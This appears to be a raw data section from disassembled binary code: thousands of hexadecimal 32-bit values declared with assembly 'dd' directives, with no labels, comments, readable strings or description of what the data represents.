dd 0D9D33E4Eh, 0C849B8C6h, 19B9017h, 4A416292h, 0FF5EF789h
dd 0F9437398h, 25FE375Ch, 71349A5Fh, 0B39A6B4Ch, 29413EBCh
dd 0B9AD2C6Ah, 109B55BAh, 0CAD12D13h, 0F60E801h, 23E9D2F7h
dd 1A4A5DF1h, 46554B0Dh, 105BC64h, 19880A92h, 442DD801h
dd 0C9E4C207h, 0AA235405h, 0B69DD685h, 0EC7009C1h, 9BD41D6h
dd 6B0920h, 0D74FC530h, 0E3810013h, 7E111998h, 0AF4E5FE9h
dd 48E1D8C9h, 0B54F92h, 2454F690h, 801C5901h, 0C5C3E0E5h
dd 0CAEE8897h, 25C5E12Ch, 0C05FB398h, 80805DD7h, 535C0EEBh
dd 0F812A8B3h, 67541367h, 8FE16489h, 0D23B1225h, 0B27DC551h
dd 0D16D4160h, 0E94BF0F7h, 22285AB6h, 0C0F959BEh, 6385FA4Dh
dd 8083D8F7h, 0AA97051Fh, 94D7F06h, 24FC58C3h, 2CE6276h
dd 2AEFE943h, 0F843B5F6h, 5C934CEDh, 0C957065Fh, 5217223Eh
dd 7916DBB6h, 0B1B8A440h, 7B022518h, 40242553h, 76B5E8E8h
dd 0A744A93Dh, 0B8C884ECh, 29F24FFFh, 6C082486h, 3AD9D24Ah
dd 94CFBCDh, 83AEA8E5h, 45025DC5h, 0F974677Bh, 0C8FABE29h
dd 6D1FA257h, 57550322h, 3D25F6E9h, 1D5602CCh, 775A4BF0h
dd 7D94AE00h, 0E09D84EFh, 5DEB8984h, 3272BCE9h, 72FA3459h
dd 96BDAB58h, 4EDDFE14h, 5BCE22CBh, 0EE58AD54h, 52D3C4C9h
dd 0CFA5C1B2h, 0C7959631h, 0EA2AABB2h, 0F6612EEh, 70B3D1B3h
dd 4E657E62h, 7081C60Ch, 0A2033AADh, 422D1ECCh, 0F1520A39h
dd 989FBA7Ah, 0F2C9A7E2h, 0FAFC0362h, 5AD731B1h, 962DE7F1h
dd 716D835h, 0D089E20Bh, 4B0958F6h, 0D14950h, 81568A33h
dd 7E4C2CEFh, 0E75CC1E2h, 0E2F70286h, 0E985666Bh, 0A9473177h
dd 658DF5C0h, 4E047CA6h, 4E69CAEFh, 0AC9387CAh, 0C3818C12h
dd 88521250h, 750DECDEh, 1658E53Ch, 0B539286Fh, 5666D76Ah
dd 11954161h, 4F0E3CF1h, 0DD94FE3h, 3FEF595Ch, 84631D10h
dd 72B442E9h, 965D3FEh, 4A743277h, 5AA86D63h, 4C42CF8Ch
dd 57BDB458h, 7A905CB2h, 6A4B6368h, 842B5699h, 0EBC90464h
dd 0A427F802h, 0CB12CFCAh, 107689A6h, 691D68DCh, 58AE08B1h
dd 0AD4412h, 5B69E3D6h, 4841478Dh, 327AF1C9h, 0E16450B5h
dd 6E5ADA90h, 6DF27890h, 4A9D2E5Bh, 321415C4h, 94135A78h
dd 5E86233Ah, 0F6DBEA20h, 0F40C59CEh, 0A7664180h, 0AF4DE965h
dd 24CA4E37h, 0A6575913h, 20DC69BCh, 0CE805B45h, 0B2534F78h
dd 0EDF8938Fh, 0EF005CA3h, 81B708B6h, 35AF728h, 0E992CF80h
dd 553BED52h, 0B318AA59h, 58C8885Fh, 20D841E4h, 60F066B5h
dd 7D29B1A9h, 0C19D7DE9h, 7F427F5Ch, 0E2869B55h, 96404AB8h
dd 9F50502Bh, 10C495D9h, 0DAB95127h, 0EA811CB7h, 5F1E4216h
dd 8442CA29h, 2DAE080Ch, 9C41D55Eh, 71B814A4h, 51570C80h
dd 0EE01496Bh, 88DCAFDh, 0BE14080Ch, 4A5A6809h, 985B0B5Dh
dd 5A8DE9C9h, 0DE5D89C5h, 3A16E876h, 6F61FAC5h, 2520D2F7h
dd 6FD79140h, 0BD20156Bh, 2C0D4858h, 78414F06h, 44324292h
dd 970DC102h, 807BC258h, 0D5E28B2Ah, 0E4B9C40Fh, 542B41Ch
dd 0CBBE88C8h, 0B28610EBh, 0D69E051Dh, 0C2AC06C1h, 4C09B858h
dd 178A617h, 963F35CBh, 0C4C1842Fh, 5A080336h, 4A7D8F66h
dd 0BF29A540h, 0D8EAE5B3h, 0B7095378h, 0C0EFD059h, 77D6F7B2h
dd 340776C0h, 801208E7h, 0D319E99Eh, 1BC9ABC0h, 0A075AB35h
dd 0EE2C8F8Bh, 0C829056Eh, 0E84D8CE9h, 4DE1E588h, 91109662h
dd 47971451h, 7E187E9Ch, 79D601FBh, 13F32653h, 7043029Ah
dd 2DD5FD8h, 0C4ACE962h, 0B3F22E83h, 0AEBE1FEEh, 0ECEC1241h
dd 47345E3Eh, 435040EFh, 8987CCBEh, 41CBD34Ah, 0C1C54Ah
dd 0DF5D8C3Eh, 4126E906h, 626F67C9h, 59361368h, 14F70BEEh
dd 55131167h, 2DE34C04h, 5B3B6AB4h, 0A40082C8h, 561EF4F1h
dd 0BC40F052h, 942DE829h, 15F92A17h, 5BA5FED5h, 30279DC3h
dd 0E688146Fh, 860283EBh, 250FA3C3h, 5560E177h, 0E028BB04h
dd 912B930h, 61D4A3F4h, 6BD344Eh, 1F0F5023h, 1882170Ch
dd 70D1057Dh, 3739F444h, 32020626h, 0C835DF0Bh, 7E0446EDh
dd 0C521036Dh, 0BD555658h, 189320D8h, 3E5C116h, 6890EB01h
dd 0AB700D96h, 0F09204B0h, 0E9EE8936h, 14C680B5h, 7E6B5248h
dd 0E9511229h, 0F82485A6h, 1BDBC603h, 62EB0695h, 0C64FA4Ah
dd 7D205A0Bh, 2E8E852Fh, 1D0CB758h, 4C7C9A64h, 31274D51h
dd 4B5FD63h, 1C2927D6h, 8C95CDEh, 0B7131C5Bh, 99684A81h
dd 0F5D4247Ah, 2DE7029Dh, 5E27C0FEh, 4E749001h, 0F540535h
dd 0AF0095C8h, 78D4083Dh, 64AE9ABAh, 1BB53ACAh, 0CBB83CFCh
dd 0BFFA92C0h, 44B77512h, 0E25BC8E8h, 7871C93Bh, 8ABF0407h
dd 0B05B0615h, 0C35129E2h, 560B018Fh, 0A7F04C68h, 0E83C16Ah
dd 65B0D444h, 68119E58h, 0E09B0CC6h, 0C44FE2Ch, 12A269D0h
dd 0C331D010h, 55B15103h, 0B266C1FEh, 253258F6h, 38384EBBh
dd 68F7E568h, 0ED10CA4Dh, 0F0562C89h, 0C5FC4958h, 6942B901h
dd 0F20140EEh, 294108D1h, 12402DD8h, 0F356853h, 5B5F2B43h
dd 0A522A281h, 95B24417h, 4FD8BAFh, 7BE06852h, 0CAB4EDF8h
dd 27984A8Ch, 160BB0EAh, 0AC0178AAh, 31084148h, 0ED355AEh
dd 0FD33CB35h, 3950105Ah, 92EE1F5Eh, 7FADE1CAh, 20687C2Ch
dd 49B049DAh, 0C8161A91h, 0FAD87373h, 0FC97EA69h, 7A355186h
dd 40941388h, 29DAD29h, 0ADC289Ah, 69401672h, 0D6D12C71h
dd 7EB93309h, 5053586Fh, 6EFA6806h, 4CE85DFDh, 0A3D3A5FCh
dd 20184C02h, 0EF81032Ch, 7A8D4102h, 6050C04h, 0FB0011C7h
dd 0E91FEB18h, 70A7746Bh
dd 6E0804A4h, 0E55F272Eh, 486CF10Eh, 174FE90Ch, 165E8B09h
dd 0BF572518h, 5B38077Ch, 0F37C83B1h, 8707E60Eh, 53A813B2h
dd 986AA67Ah, 1282B8ECh, 4123655Bh, 0EBC14BCDh, 0B71E2A06h
dd 4C29A840h, 4A61E967h, 83DEDC20h, 5352EB76h, 0E95B04FAh
dd 69FC1DDCh, 3E520FF1h, 84D214DCh, 95A10920h, 12C1EB9h
dd 4063D9C3h, 80C2DA41h, 6F89E5CEh, 8A5D4920h, 0E9A1765Ch
dd 97133A51h, 20AD6AFCh, 99F80D1h, 5042F6F0h, 39C04DDFh
dd 9EFABBF5h, 0C005051Eh, 945D1B1Dh, 0E9070285h, 0B05E42AAh
dd 106F7263h, 4F368649h, 7448DCF6h, 1678EE04h, 63A4F850h
dd 3BCD182Ch, 0FE26458Eh, 9299259h, 0D9805909h, 6BA5208h
dd 72C56E04h, 0FEC0D109h, 4055CE1h, 0C0E928A0h, 89259150h
dd 0C02722CDh, 58BFB951h, 2D060279h, 649978E8h, 720F0D4h
dd 0E3B4E97Fh, 40D6D24h, 0EAF34927h, 6E127557h, 0C440F47Ch
dd 954D5B7Dh, 0F781A9E0h, 0BB150468h, 0E929CF0Fh, 820C722Ah
dd 20215A08h, 0B23B1747h, 0E7069343h, 80343E57h, 964079E0h
dd 624025FAh, 0FBEC868h, 9762D382h, 1E4F47Fh, 0B42421C3h
dd 0F2920601h, 7FEF12B5h, 7D4DFC25h, 0E4E3C65Bh, 0C245986Bh
dd 7AD9E4A5h, 4982968Fh, 9FA52660h, 0C4B55B82h, 11371487h
dd 7551A7FCh, 0D95BD107h, 1EE96287h, 5316B65Eh, 0A2E506ECh
dd 0F5CBDA72h, 0D179048Bh, 98AF4E66h, 0ECA487Fh, 90ADECB4h
dd 4A68AC68h, 1D4F605h, 4F6A1EF7h, 4A34C4E9h, 65F3A254h
dd 5747824Ah, 4C60263Eh, 0C300307Eh, 315A2D69h, 1253DE2h
dd 6D925F74h, 45D0CB05h, 580F82ECh, 5922F350h, 70F504DFh
dd 8165ED56h, 0D86B4A6Dh, 24F5E915h, 0DF03B6BBh, 3002E6C0h
dd 0F1F793FEh, 896A2F85h, 5202203Dh, 500C50BBh, 90AD5EF5h
dd 58D30F5Fh, 3F895654h, 0A9A913C3h, 0C1187C9Eh, 44A155D2h
dd 5D82320h, 10F1D04h, 0E9B5C3F1h, 50FA20DFh, 6F983584h
dd 0BD59CF40h, 243BBF4Dh, 0C5AF83B6h, 2AE89019h, 0BF05BFCBh
dd 7AAA6E2Eh, 0DF9244EAh, 0D6680246h, 8A147534h, 1869DCBAh
dd 40E60629h, 6AA380D3h, 0D2632499h, 0BB532DCDh, 88C1BB12h
dd 52C9AD66h, 96F50D1h, 79C27EF9h, 0C7CF7054h, 1BD9C289h
dd 9034EEB5h, 4D0B97D4h, 2975DEEh, 0E744922Bh, 48C73F6Fh
dd 8BE6253Eh, 202A0BCAh, 300DB6D2h, 5A6602F0h, 0C0FE5E2Ch
dd 0F125C651h, 5DEE8A1Ch, 0F6942FDAh, 0E92FF8A6h, 68A107CFh
dd 0A6916EA4h, 8000A1D3h, 0C1F0E2E3h, 5F22365Eh, 0D98AC358h
dd 0D02BB598h, 13B8F2D7h, 9BC2B59Ch, 0C3BA00BEh, 425F8907h
dd 49680DA0h, 0B958D5EAh, 5B9D7210h, 753AC45h, 21AE25EFh
dd 5A23F5Bh, 1D0786E0h, 81F5C68Dh, 0A73259EDh, 3A507F50h
dd 875B0C08h, 5B90E52Ch, 0B75AE408h, 0EB314841h, 0F8F3802Bh
dd 318C324h, 310BFCBDh, 0A0C8A5DDh, 0BC29BDA6h, 3720C4F0h
dd 36050FE5h, 2964743Eh, 7AE6C7D8h, 0E7E0ADF2h, 688128DBh
dd 7031217Eh, 0C9857CF1h, 5672D65Dh, 9ED1E924h, 0D25AACA4h
dd 2A6F2C23h, 77D7C2D7h, 0D2564122h, 0C3B92D28h, 4195E54Ch
dd 1736330Dh, 4CC4EA10h, 0ED200CDh, 0D0014503h, 0CC2D005Ah
dd 294A8856h, 0E92D55F0h, 0D7B042B2h, 8A54B23Ah, 68613A2Eh
dd 496C64F6h, 0D65EACD3h, 4D825564h, 51596AE4h, 52688484h
dd 125AB322h, 27ADC53Ch, 6280DF3Ch, 17613552h, 12013F8h
dd 9D987FC3h, 52896BE6h, 640131CBh, 30B52998h, 9D3085D9h
dd 2485159Ah, 2005E1D1h, 94F8C4Ah, 13C3B932h, 0D8A98EF2h
dd 652C5E83h, 9266D881h, 31816742h, 932FDBF7h, 3E1602D5h
dd 7D09B025h, 0FA277031h, 27630267h, 59CB29B5h, 2D2701DCh
dd 557ADD15h, 0E25E2348h, 4A72A2D3h, 0C7807DCFh, 397E7105h
dd 225F7B2Dh, 23F9A10h, 6FF11CBBh, 9BA6E6Ch, 3AE65082h
dd 0A2B94D7Ch, 42710C02h, 0C08C139Bh, 44281000h, 8DE9D301h
dd 40F5B624h, 1135BD55h, 2A67313Fh, 293BA6DEh, 0B1B392D9h
dd 0CA683ACh, 4C9344B5h, 0E2C46759h, 0D2ED13ADh, 7D94A993h
dd 0C1E87751h, 31970549h, 0A5D04582h, 1BB829E6h, 6C06470Bh
dd 0A63C6902h, 16BE6801h, 53000873h, 0D3F686B3h, 0CC13F380h
dd 34A096E9h, 7F680B35h, 100B0FFEh, 0AA549364h, 199059F8h
dd 3CCB83D7h, 0E34D5D17h, 2E131025h, 42F72D02h, 88F70A48h
dd 0E904070Ch, 71BA2FC0h, 0CEE3C11Ch, 3B7FE80h, 0CC12942h
dd 60350886h, 275AAD43h, 0AD14D0CFh, 1C472118h, 833913B6h
dd 0C032F3F9h, 4AC13B1Ah, 17BC22D5h, 997FD120h, 0F56C282Ch
dd 201EF55h, 0D744F62Bh, 0F7D5052Ah, 568B8DDh, 39C54820h
dd 595C72C0h, 806E4AB1h, 110A40EDh, 4F18CAF8h, 0E2B8EA7Bh
dd 906F1FC2h, 0BF843C61h, 0A86E7A02h, 0E9C75F56h, 0CC418549h
dd 2ECFF21h, 0B21F8E7Dh, 0AB278922h, 0C5190DCh, 0E908B239h
dd 0F025254Bh, 31681352h, 8D523565h, 9E02DE30h, 5AB50006h
dd 801CCDFEh, 0EF0779EDh, 0CF705966h, 0B983E9FBh, 0CDC300E6h
dd 21F3B917h, 0E7EB20F5h, 3C075002h, 49D4E90Ch, 602E54B2h
dd 1BE80523h, 0D3114924h, 831E5726h, 84474B09h, 1EC50417h
dd 0B176B80h, 0B1578DFh, 1E0CE9D1h, 5259B5DCh, 0FC3520F9h
dd 0B811E2Fh, 0B8183B2Dh, 0E0D2D366h, 0D990082h, 3A08FD7Ah
dd 754FE58Eh, 30E70281h, 93832223h, 6F13C193h, 0F5405E2h
dd 5ECA3F12h, 46E8BA75h, 793F680Bh, 561E14D3h, 3B092BC0h
dd 78515E7Ah, 40DE0955h, 7A3273E3h, 22602ED7h, 0DF28C874h
dd 0AA73D12Eh, 61CB09h, 0A82ABAB5h, 77E3BD20h, 0B22B004h
dd 0FD864C48h, 0DCB2C74h, 0FBA53568h, 180B021Eh, 5AD931E5h
dd 8C681AE9h, 3B05016h, 0C8FED86Bh, 0AB040405h, 805932E9h
dd 1F225BCDh, 91CDDA16h, 7C27E348h, 6EE3E7FCh, 451D4D43h
dd 2F40FF2Dh, 401E60BDh, 0C8971022h, 8043B6B1h, 4A6F6E98h
dd 0F5CE269h, 0CEE9FAC1h, 843E6665h, 0C69EE916h, 9742FD33h
dd 6EAD71E1h, 4AC2803h, 4A14F92Ah, 66E9312Ah, 0EBEF51A1h
dd 98352007h, 33F14518h, 3E56460Ch, 0E07F09B9h, 3DCE2E42h
dd 15339006h, 5FA91CE9h, 0B72158DCh, 69A4F145h, 0E4879026h
dd 4F2CEEFFh, 0BB6425E9h, 4AF24F66h, 89B6144Ch, 5B38408Ah
dd 2CE85730h, 2EC35D7Bh, 0F31D5BC4h, 0BB7F2ADAh, 89CB3A99h
dd 0CBF9D3E3h, 0FBE97468h, 53AB9761h, 0D0C9C788h, 76FFAD1h
dd 0C3C3E2BEh, 98538B7h, 13256CD6h, 5955DC51h, 676DC8B5h
dd 12ED912Eh, 5BF5C1D6h, 818D7C55h, 4C4AADC5h, 0F9247EB4h
dd 594310B6h, 0B42F2D3h, 985DEB01h, 83A4AB14h, 0E6BE7840h
dd 2F983E14h, 7EDB4AA4h, 0E851E69h, 2AB7B141h, 206013E7h
dd 0E9F7B252h, 70EE85Eh, 0A9EAC9ADh, 77FE3Bh, 10644484h
dd 24165401h, 5BA45A08h, 70261A63h, 0C500E455h, 20B06642h
dd 0E77DE919h, 0B42AEA73h, 0A5BF598Fh, 491931Eh, 0D084FB29h
dd 815D7FC8h, 81360114h, 0A080EAC9h, 5C65F02Eh, 122BD021h
dd 0B082FD2Ah, 0D5A048E9h, 73C4ABBDh, 424A07F7h, 0B9B3D72h
dd 14B5F66h, 4BE9392Ch, 0B6FF1F8h, 2CE158B7h, 0DA89D62Dh
dd 0ACFD7C5Bh, 64B63565h, 0B675FAA8h, 0B54F924Ah, 920081A4h
dd 0C11F786Fh, 0C5F8FFE5h, 1065B545h, 8877925h, 0B9009697h
dd 4D893641h, 0AD103BBFh, 0EF814E80h, 150F12F8h, 0D4EEA1h
dd 0E8070B7h, 0F72813C7h, 5AA2EFAEh, 0CC55F830h, 8EBFA18h
dd 323FE949h, 92D95025h
dd 0D00113B3h, 5FC7BC05h, 100648Eh, 4CCC2DC8h, 309D66DBh
dd 80BA3529h, 0BCEE5059h, 8A965ABAh, 0A852EDEDh, 53E7A4B9h
dd 2BEA3290h, 25667E25h, 4C1CFD34h, 0A7932ABEh, 7E09C982h
dd 18D3086Fh, 23E08912h, 2E7B09F2h, 0E7DE3B7Dh, 80BF1233h
dd 34E964B0h, 879F0AAFh, 2E0EA49h, 6AC13F01h, 68A6EDD1h
dd 0C02BEB07h, 4DF681F0h, 32270544h, 0BDFF11E9h, 3D2C1744h
dd 1038FBDDh, 0AE16215Bh, 5EBA0295h, 54356192h, 0D101E46Ah
dd 4F08ECD0h, 1F48A4B7h, 0F4D0B8D6h, 798C08E8h, 0E439806Bh
dd 6C4B1BBh, 1290D7ECh, 885F0C50h, 0BCB5BAE7h, 6CA94997h
dd 0EF376A80h, 9CB6362Ah, 0E883982Eh, 0CFD0F7FFh, 9BC3D834h
dd 4F1DF01Eh, 0C2C84A31h, 0E4C076B0h, 62B70105h, 0D4080B2Bh
dd 425B039Eh, 0D43014C5h, 0EE310D59h, 0C5FC59E9h, 95FD5437h
dd 0BEBC90C9h, 0E726A79h, 87C68102h, 7D9F7CC4h, 306BCA81h
dd 7D006E74h, 5152F501h, 19390568h, 0EA591A0Dh, 8D256E40h
dd 0B88991C2h, 0A9A0358Dh, 5649E35Ah, 0E9E604Fh, 2747383Ah
dd 5A727EE9h, 0DCC140A3h, 561093CAh, 94923EB7h, 0F8A1138Bh
dd 3CA95535h, 24AEB4CBh, 508182CBh, 6995AE83h, 0AB88200h
dd 0E96F4815h, 2F3D9407h, 429FD39Eh, 0F01A55AEh, 794D841h
dd 0F6DBF7C2h, 43460248h, 0D1802FF9h, 89CEA5A7h, 313C89E3h
dd 13F30D6h, 29889CF2h, 0ECC29242h, 8E99696h, 0DD1DE909h
dd 123C8251h, 0D14F0EA2h, 0E685E9D5h, 0C026FE0Dh, 2B092D97h
dd 8F43133h, 0F427404Eh, 0E8005817h, 98A6B353h, 2E7735Ch
dd 0D82899C3h, 1BE889E9h, 660705ADh, 1619062h, 6CCD68D1h
dd 460BBE66h, 327E040Dh, 0CE000244h, 454EE2A0h, 0A70814CFh
dd 0C1DE06EDh, 66AA2888h, 7090D6F6h, 85B0E755h, 7BC5144Ah
dd 0AB372EBh, 0DCF3EDF2h, 0FBC8C612h, 0D6990804h, 0CEAC9925h
dd 117E33B0h, 2B4ABE7Bh, 91DAB740h, 2C7878Ch, 5B152447h
dd 0A1615645h, 1FD16F86h, 40A5937Fh, 0E1485005h, 8F8B3EA0h
dd 66D4914Bh, 4FBA7793h, 8F829ED4h, 0F5810037h, 0A927CE05h
dd 3D4ED8D3h, 9F5DA29h, 77514F12h, 7806D1FEh, 0B1855FAh
dd 25E10A03h, 4FB714FAh, 185C1258h, 31134426h, 151BDC48h
dd 8B5E931Ah, 0E54AAF29h, 7CFD0651h, 0BA7356CBh, 0E3351900h
dd 0D0F10166h, 5E2F0828h, 0DA029129h, 19D62DB2h, 4F606861h
dd 5431AE73h, 2A537014h, 0F63778Dh, 63447716h, 90D15B70h
dd 37223D5h, 7D27C868h, 9B8EB2Ah, 38885C39h, 7DA44159h
dd 0F65A1010h, 1C3484Dh, 717C52BCh, 0FB60E7D1h, 0F8A51274h
dd 12BBECE2h, 1B2737E9h, 7A3D6DE0h, 962FB42Fh, 88A0B073h
dd 316F419Dh, 7C8BD66Bh, 8E6CCC05h, 6B845E53h, 0C15F0701h
dd 803105E6h, 2FE57DD4h, 74010907h, 0F92F75C6h, 4249E77h
dd 69F4CE41h, 1E9E6D2Ah, 90858910h, 7CA063D8h, 5B81D821h
dd 9608D824h, 4BF32F14h, 0B06EEE27h, 0E078FFE0h, 95D6AD96h
dd 2F5A5804h, 874F82A1h, 0B4E882D5h, 0D3290327h, 6D24DFAh
dd 54C409A1h, 5A42BBC4h, 12525FFAh, 0F3F6E457h, 0D710C072h
dd 3C3E4891h, 0F427166Ah, 0DF557FD0h, 84E54D80h, 1D72117h
dd 6399CF92h, 0D802EDDh, 7C4153E6h, 0B3C70028h, 0E922FAF4h
dd 36BC2D64h, 0DC26CD62h, 90EC8166h, 4489D7A0h, 0C8B259B8h
dd 64C70408h, 8514BD72h, 0E9A13118h, 0B87A30A8h, 736812A0h
dd 70ABA329h, 0C1D303DEh, 0E9CD5002h, 6875482Bh, 1759548Eh
dd 0F4064BB1h, 4EE408A8h, 12B1DB4Dh, 490FD831h, 3B8547EFh
dd 731CC0E7h, 7805435Eh, 0BF2D8F26h, 854B7ECBh, 0B232F0E9h
dd 0DBDC506Eh, 1ED90C00h, 844E67BAh, 0F2014E5Ah, 86A9D711h
dd 683CEA01h, 39012BABh, 5FE9396Ah, 28F8181h, 0BA90F9DCh
dd 99C93F80h, 29BC7097h, 0C1042A72h, 8802A439h, 144258E6h
dd 0BF7651ABh, 2BC8F95Bh, 924CE366h, 21052DD6h, 935AF6A2h
dd 1AA41C32h, 0E6AECE01h, 0E0CD97EEh, 0DCDA1689h, 0C0786229h
dd 0A25C0D3h, 3C1653F3h, 51E5911Fh, 7E18B249h, 0C3FEC001h
dd 88610A89h, 309F8665h, 5F4CE989h, 17CC0110h, 25685880h
dd 0C15E55FCh, 87BBEA6Fh, 312576BEh, 4DB99496h, 0E35B8C5Ch
dd 0CC681E4Ch, 0B7639C2Fh, 0BAFE0482h, 760989FAh, 541F1E7Ah
dd 54B041E4h, 5CE0D682h, 0F4B83057h, 34F6E916h, 97010528h
dd 0B3259744h, 0A126D9DDh, 23E94154h, 5726A4CEh, 5219803Fh
dd 88A6B551h, 505901EAh, 33E9F7B0h, 0FB8B543Bh, 49A0DC13h
dd 0AB019524h, 0A85B052Ch, 0DB492838h, 0EABD02C6h, 60484920h
dd 17E3020h, 0BB352B85h, 70380106h, 130BA3F7h, 820955EDh
dd 1D6F8A6h, 0C8CF8853h, 17C877Ch, 9A006C5Ah, 0EBC05A66h
dd 1389B808h, 495C2CA8h, 0C723D1B3h, 8FBAC209h, 5162207Fh
dd 4652A68h, 0D1596AC6h, 108DC0E1h, 0BB75929Fh, 7E26B15Dh
dd 0F89EBBCh, 4F8890A3h, 3088808Fh, 0F233585Bh, 56ABFA5Ah
dd 40108F5h, 0F64F0C0Bh, 4A99624Ah, 54E83102h, 3A6850ACh
dd 3CE3774Fh, 4C030B10h, 95529ED9h, 9F5A7EF0h, 16F5B3E2h
dd 27772043h, 0BBEE8100h, 988EC2Fh, 4AE3FAF2h, 81E18C38h
dd 0E90C0143h, 0F08B39B9h, 0DAA2695Fh, 0D95C01C9h, 3380B013h
dd 16F26856h, 0A592DEh, 7FB2C1A2h, 0ABA01C37h, 0A62E0BE5h
dd 848416Ah, 14815028h, 7E5EF929h, 3324EE0Ah, 39BCFB12h
dd 452ED0D0h, 0A3C1C7DFh, 1892680Ah, 0D1D054A9h, 9622CC09h
dd 0E2887C10h, 5805E7A6h, 0EEB50BBFh, 17BF7154h, 2BB3DD06h
dd 0C8D15725h, 0E467D64Bh, 38E9713Ch, 79D6132Ah, 0A40648D9h
dd 0F0881340h, 4B929087h, 7AFFF6D1h, 1037620h, 25EB815Bh
dd 2B01483Ah, 1F08ADB4h, 80468824h, 0F05692F3h, 0E0ECE96Bh
dd 0B3809992h, 9A010F62h, 354BBB40h, 19302501h, 7F52176Dh
dd 4A521A3Ah, 12040809h, 0AEFED470h, 7754079Bh, 68A440F7h
dd 0E92A3D2Fh, 14AF8D52h, 0E9C2667Bh, 2809688Ah, 80582EC7h
dd 0F91C38EAh, 0ECCB135Bh, 895A3FCEh, 703FE9C3h, 4ABE01DDh
dd 681C832Ah, 9B5FDA72h, 0B36ED082h, 4BE91913h, 60C2C1EBh
dd 68EBD78Dh, 4F344FAFh, 30A731A8h, 3BD8E9E2h, 4106EB3h
dd 0FB6DEA92h, 0D1F4982Fh, 2A3E927h, 0F96B6850h, 4ABF9E33h
dd 7DBFF67h, 722BA7EFh, 2DC05302h, 6F4A5F4Eh, 5115874Dh
dd 0CADAB1AFh, 0BAB00F54h, 0D67F6F0Fh, 0C8FF5C79h, 0E029CBEBh
dd 1867C7FBh, 9E13E162h, 88254782h, 0A8DE13Ah, 332F8878h
dd 91A87A51h, 1FC96FF3h, 5335A283h, 44053411h, 38E70609h
dd 5FC022FFh, 80E1095Dh, 0C8310E01h, 73229550h, 9CF7470Bh
dd 3B9B4FBh, 14636C9Ch, 0D95D9334h, 0EE701C0h, 21584C4Eh
dd 0EA6F3204h, 0CEC836Eh, 400DF8B8h, 0CAB288F8h, 77570AA0h
dd 71217C26h, 462FCA09h, 0EB7D2D2Dh, 0E4ABB471h, 20690549h
dd 844F81F2h, 0F17DF9C7h, 0B62FFE31h, 0DC2D5Bh, 9AF68024h
dd 5F95B088h, 28CE079Ch, 0C0327FE8h, 8038B156h, 0BDA134FAh
dd 22F3DB05h, 3007E1B1h, 0A49F4648h, 98F338FDh, 8ED7FC4Ah
dd 0E05E13BEh, 75A3C289h, 40D21CB3h, 681989F0h, 5C2939D3h
dd 4C1567Fh, 9D5A58h, 0ED80C5FEh, 5F47F444h, 22C8A4A6h
dd 123C6812h, 0DFE0501h, 0C810597h, 4D193B60h, 7643EE01h
dd 0E6E2E14Eh, 29E5518Fh, 0A17BE8BDh, 8A3B11F4h, 43B34EADh
dd 0C009E913h, 0CB015AB5h, 902E7FA0h, 0A8CB7E82h, 81838A95h
dd 0E3A6287Ah, 0B54A183Ch
dd 7144204Eh, 7027191Dh, 3F01FDD2h, 297B5180h, 1D561330h
dd 812B4B40h, 0E188A7F2h, 30D5F524h, 6DD8E053h, 9F6D68A1h
dd 7B70D633h, 1057215Ch, 0DB41BE50h, 0F0B45342h, 4E8962C8h
dd 8079C2B8h, 41EF6801h, 333662DFh, 97A90550h, 0CE4026EAh
dd 0CB3E9B64h, 1C739897h, 1285C3E9h, 32FBA2h, 0B55A944Bh
dd 0DE5B2961h, 0D44EFE6h, 46E917D6h, 1987E427h, 0CA2BD541h
dd 79357EE2h, 66B9A88Bh, 0B024E7h, 0CEDE4968h, 5E0CB881h
dd 90C31682h, 744A6F38h, 0C1112760h, 0B770064Fh, 2D59EB00h
dd 722E4ADCh, 6B2AAD7Dh, 6C9D6186h, 0E3565A9Fh, 46B15F05h
dd 8D5FB42Ch, 54E22F56h, 4E8A7810h, 48822587h, 98C9DCB1h
dd 95681D6Ah, 9F83385Dh, 0E3111118h, 4AAFF057h, 139CCE0Ch
dd 0A5A8F001h, 0F60205C4h, 53A24AECh, 50429C10h, 370BB03Fh
dd 854A748Ch, 0B739B7E9h, 2DE90608h, 58D1FEBBh, 75C9980h
dd 9E3810Ch, 116C6128h, 8D34B702h, 0AC853105h, 7FEE207h
dd 75830B34h, 3326D091h, 50FA7E01h, 0B65F08EAh, 0E8876695h
dd 0FA2BE92Fh, 0B6521C8Fh, 0D3F01EADh, 0DE3522BCh, 0F34837E2h
dd 38B8DDF7h, 0C5BF4E12h, 8DF5BB0Ah, 0E98951C1h, 7CEEC2CAh
dd 0E1B3939Dh, 5B5CFCB6h, 0B45414FEh, 6700A3C9h, 815A461Ah
dd 42E8ECAh, 69E937E3h, 0A161EAD3h, 0E132F921h, 223FB641h
dd 9F715B28h, 0D1D80142h, 0E99DB03Ah, 93B53337h, 1DE7C1C9h
dd 2DD85479h, 184A9068h, 36D7D231h, 86C50105h, 20CCEB69h
dd 5280291Ah, 0CDBB50B2h, 69459F43h, 13A9CB13h, 279A533Bh
dd 2DFA711h, 0F35AD696h, 20E904A5h, 815BACE6h, 0D5715D6h
dd 672AE640h, 4C0F72F7h, 180F65DAh, 0ED540B54h, 30135902h
dd 844221B5h, 81B109DDh, 2B326239h, 262570D4h, 100C06A1h
dd 519958D4h, 0CC132B4Eh, 0CC4F30F6h, 349001BFh, 179433B7h
dd 89DF40EEh, 0A5C7BD82h, 40C4CAE0h, 9CA60697h, 6754A571h
dd 39B80192h, 3480A10h, 0BAA96805h, 0F293D10Fh, 81208D35h
dd 4870B0FBh, 0E0208E1Bh, 24CB5395h, 6358C9ABh, 6836A195h
dd 5A2B7BD8h, 7DF8CBA5h, 0E1354B97h, 0CF2F1757h, 3B4D7F72h
dd 0E8F72DC5h, 0D48843C6h, 0AEB53A48h, 0B720054Eh, 57E05CACh
dd 3B016850h, 5862822Bh, 0E7C8CE05h, 0E38949F3h, 2F01CF04h
dd 0ED94C1E8h, 0F3E707A0h, 0EAD0EE74h, 4A376866h, 12D4B751h
dd 63AB87F7h, 133CEE71h, 0B30460ACh, 0BA22B551h, 83115D4Fh
dd 5D4E777Eh, 0FC4AF4FBh, 0DA01E06Ah, 3E6E2DE9h, 0BC6398F1h
dd 64680F9Ch, 0B20D0288h, 0A5F12F79h, 0A1D95140h, 897B25CCh
dd 3D517EC0h, 5D234CBDh, 0BB146111h, 95162C01h, 0B8A330A4h
dd 0E45B630Fh, 0D0BD8ECh, 52804F7Eh, 8978DEE6h, 0CE0F0A76h
dd 0F214792Ch, 1F7659FCh, 4075154Ch, 1045ECF6h, 314DE99Eh
dd 0FB680BC4h, 0AEF2304Eh, 76561626h, 0D79BC229h, 0B0035E2h
